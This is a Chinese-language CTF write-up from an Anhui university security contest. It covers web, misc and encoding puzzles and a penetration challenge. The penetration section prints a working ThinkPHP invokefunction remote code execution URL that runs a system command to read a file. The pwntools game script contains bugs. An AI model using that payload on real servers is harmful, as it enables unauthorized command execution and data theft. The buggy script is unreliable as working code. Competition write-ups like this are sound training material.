首届安徽省“追日杯”大学生网络安全挑战赛WriteUp
第六，应该能混个三等奖
题量很大，打的人少，很多题都是0解，Reverse全0解，其他方向大都是个位数，综合渗透那里，题特别多，做了一个第一题就没做了，也挺难的，但是分还很低。怪怪的。
Web
gotofly
题目一直重定向，即使到了flag页面，立即刷新也看不见，BP直接抓包，一页一页翻就行了
Misc
chess
半自动化脚本
# -- coding=utf8 --
from pwn import *
io=remote("ctf.zrb.edisec.net",33741)
win_data=''
if __name__ == '__main__':
n=0
l=[[0]*3]*3
while 1:
if '499/500' in win_data :
p.interactive()
try:
io.sendlineafter('x/y:>','2/2')
ob=io.recvuntil('computer:>',timeout=0.2)
#ob=io.recvuntil('player:>',timeout=2)
#ob=io.recvuntil(str('player:>',timeout=2))
#ob=io.recvuntil(str('player:>',timeout=2)).strip()
ob=io.recvuntil('player:>',timeout=0.2).decode('utf-8')
ob=ob.strip()
#ob=ob.split('/n')
ob=ob.split('\n')
#ob=ob.split('|')
ob1=ob[0].split('|')
ob2=ob[4].split('|')
if '#' in ob1[0] or '#' in ob2[2]:
io.send(b'1/2\n')
io.sendlineafter('x/y:>',b'3/2')
else:
io.send(b'2/1\n')
io.sendlineafter('x/y:>',b'2/3')
try:
ob=io.recvuntil('Can you win',timeout=0.2)
if not ob:
raise Exception("123")
win_data=io.recvuntil('*****').decode('utf-8')
except:
try:
io.send(b'1/1\n')
ob1=io.recvuntil('repeat',timeout=0.2)
if not ob1:
raise Exception("123")
io.send(b'1/3\n')
io.sned(b'3/1\n')
except:
try:
io.send(b'3/3\n')
ob=io.recvuntil('Can you win',timeout=0.2)
if not ob:
raise Exception("123")
win_data=io.recvuntil('*****').decode('utf-8')
except:
#io.interactive()
code=0
for i in range(1,4):
if code:
break
for j in range(1,4):
try:
io.send('%s/%s\n'%(i,j))
ob=io.recvuntil('Can you win',timeout=0.2)
if not ob:
raise Exception("123")
code=1
win_data=io.recvuntil('*****').decode('utf-8')
break
except:
pass
else:
print("第四层发送2/3，接收win正常")
else:
print("第三层接收repeat和发送正常")
print("第二层接收win正常")
except Exception as e:
if 'of range' not in e.args[0]:
io.interactive()
else:
print("成功")
io.interactive()
checkin
签到：flag{welcome_to_zrb@2021}
阵法的奥秘
提示是8进制，观察到最后的数字是变化的
PING zrb.edisec.net: 56 data bytes
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.78 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.83 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
...
略
先提取出来
与最小的76取余后转字符串
最后两层base64
import base64
a=[77,78,83,77,81,81,76,82,77,76,82,80,77,80,77,77,76,82,77,81,83,77,83,78,77,80,80,77,76,82,77,81,76,77,80,77,77,78,82,77,76,81,77,79,78,77,82,77,77,79,77,77,81,78,77,77,77,77,83,76,77,80,78,77,76,82,77,80,83,77,83,76,77,78,81,77,81,82,77,79,78,77,79,77,77,77,81,76,82,77,77,77,78,77,82,82,77,78,80,77,78,80,77,76,81,76,82,81,77,78,78,77,76,83,77,77,77,77,83,77,77,77,81,77,79,76,77,80,80,77,80,77,77,78,83,77,76,82,77,76,82,76,82,80,77,79,78,77,76,81,77,80,80,77,82,78,77,80,80,76,82,78,77,77,78,77,82,76,77,78,78,77,81,78,77,81,79,76,83,81]
d=''
for i in a:
d=d+str(i%76)
e=''
for i in range(0,len(d),3):
e=e+chr(int(d[i:i+3],8))
z=base64.b64decode(e)
z=base64.b64decode(z)
print(z)
偷走的flag
解压得到这是一个地址.txt和纸条.rar
小明去食堂吃饭，为了能在吃饭的时候有座位，他把自己的耳机和手机充电器放在桌子上。买饭回来后发现自己的东西不见了。以为被收走了。就去失物招领处询问。询问无果后，在QQ空间发现自己被挂了，说自己给学校丢人，用充电器占座，并把充电器放到了指定位置。小明找到以后发现了一串密文，只有解开密文，才能找到充电器的位置。你能帮助小明发现充电器被藏到哪里了吗。
密文如下：
%E2%A1%96%E2%A1%9C%E2%A1%91%E2%A1%97%E2%A1%8B%E2%A1%B1%E2%A1%83%E2%A0%81%E2%A1%94%E2%A1%95%E2%A1%AF%E2%A1%B6%E2%A1%82%E2%A1%9F%E2%A1%9D%E2%A1%AF%E2%A1%99%E2%A1%9D%E2%A1%80%E2%A1%9C%E2%A1%95%E2%A1%9D%3D
很明显的url编码，解密后得到⡖⡜⡑⡗⡋⡱⡃⠁⡔⡕⡯⡶⡂⡟⡝⡯⡙⡝⡀⡜⡕⡝=
盲文编码，在线解密得到flag{As1de_From_implem
用这个作为压缩包密码解压
恭喜你帮助小明找到充电器。但是他的耳机也不见了。通过查询监控发现耳机与充电器一起被拿走了。当他发现耳机时，只剩下一个进水的耳机、一摊水渍和一个被揉搓了好几遍的纸条，上面字迹已经被污染了，但隐约写着：********-I_forg1ve_y0u}。你能帮助小明发现被隐藏的字样吗。
vim中看到U+202C等字符，为0宽加密
解密得到3ntat1on
最后拼接在一起，注意别把0宽字符复制进去
flag{As1de_From_implem3ntat1on-I_forg1ve_y0u}
问卷
一个调查问卷，做完即得flag
综合渗透
综合渗透-FLAG1
Thinkphp框架，还知道版本，直接RCE
http://82.156.76.152:8077/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag